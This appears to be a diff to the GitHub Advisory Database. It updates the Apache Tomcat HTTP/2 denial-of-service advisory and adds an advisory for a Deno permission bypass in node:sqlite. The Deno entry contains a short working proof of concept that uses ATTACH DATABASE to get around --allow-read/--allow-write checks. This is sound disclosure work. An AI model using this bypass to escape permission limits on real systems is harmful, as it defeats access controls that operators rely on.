Publish Advisories

GHSA-wm9w-rjj3-j356
GHSA-8vxj-4cph-c596

advisories/github-reviewed/2024/07/GHSA-wm9w-rjj3-j356/GHSA-wm9w-rjj3-j356.json

@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-wm9w-rjj3-j356",
-  "modified": "2024-07-05T20:39:42Z",
+  "modified": "2025-06-04T21:21:58Z",
   "published": "2024-07-03T21:39:44Z",
   "aliases": [
     "CVE-2024-34750"
   ],
   "summary": "Apache Tomcat - Denial of Service",
-  "details": "Improper Handling of Exceptional Conditions, Uncontrolled Resource Consumption vulnerability in Apache Tomcat. When processing an HTTP/2 stream, Tomcat did not handle some cases of excessive HTTP headers correctly. This led to a miscounting of active HTTP/2 streams which in turn led to the use of an incorrect infinite timeout which allowed connections to remain open which should have been closed.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M20, from 10.1.0-M1 through 10.1.24, from 9.0.0-M1 through 9.0.89.\n\nUsers are recommended to upgrade to version 11.0.0-M21, 10.1.25 or 9.0.90, which fixes the issue.\n\n",
+  "details": "Improper Handling of Exceptional Conditions, Uncontrolled Resource Consumption vulnerability in Apache Tomcat. When processing an HTTP/2 stream, Tomcat did not handle some cases of excessive HTTP headers correctly. This led to a miscounting of active HTTP/2 streams which in turn led to the use of an incorrect infinite timeout which allowed connections to remain open which should have been closed.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M20, from 10.1.0-M1 through 10.1.24, from 9.0.0-M1 through 9.0.89.\n\nUsers are recommended to upgrade to version 11.0.0-M21, 10.1.25 or 9.0.90, which fixes the issue.",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -159,6 +159,10 @@
       "type": "WEB",
       "url": "https://lists.apache.org/thread/4kqf0bc9gxymjc2x7v3p7dvplnl77y8l"
     },
+    {
+      "type": "WEB",
+      "url": "https://security.netapp.com/advisory/ntap-20240816-0004"
+    },
     {
       "type": "WEB",
       "url": "https://tomcat.apache.org/security-10.html"

advisories/github-reviewed/2025/06/GHSA-8vxj-4cph-c596/GHSA-8vxj-4cph-c596.json

@@ -0,0 +1,80 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-8vxj-4cph-c596",
+  "modified": "2025-06-04T21:22:27Z",
+  "published": "2025-06-04T21:22:27Z",
+  "aliases": [
+    "CVE-2025-48935"
+  ],
+  "summary": "Deno has --allow-read / --allow-write permission bypass in `node:sqlite`",
+  "details": "## Summary\n\nIt is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.\n\n## PoC\n\n```js\n// poc.js\nimport { DatabaseSync } from \"node:sqlite\"\n\nconst db = new DatabaseSync(\":memory:\");\ndb.exec(\"ATTACH DATABASE 'test.db' as test;\");\n\ndb.exec(\"CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);\");\n```\n\n```\n$ deno poc.js\n```",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "crates.io",
+        "name": "deno"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "2.2.0"
+            },
+            {
+              "fixed": "2.2.5"
+            }
+          ]
+        }
+      ]
+    },
+    {
+      "package": {
+        "ecosystem": "crates.io",
+        "name": "deno_node"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0.129.0"
+            },
+            {
+              "fixed": "0.134.0"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/denoland/deno"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-863"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-06-04T21:22:27Z",
+    "nvd_published_at": null
+  }
+}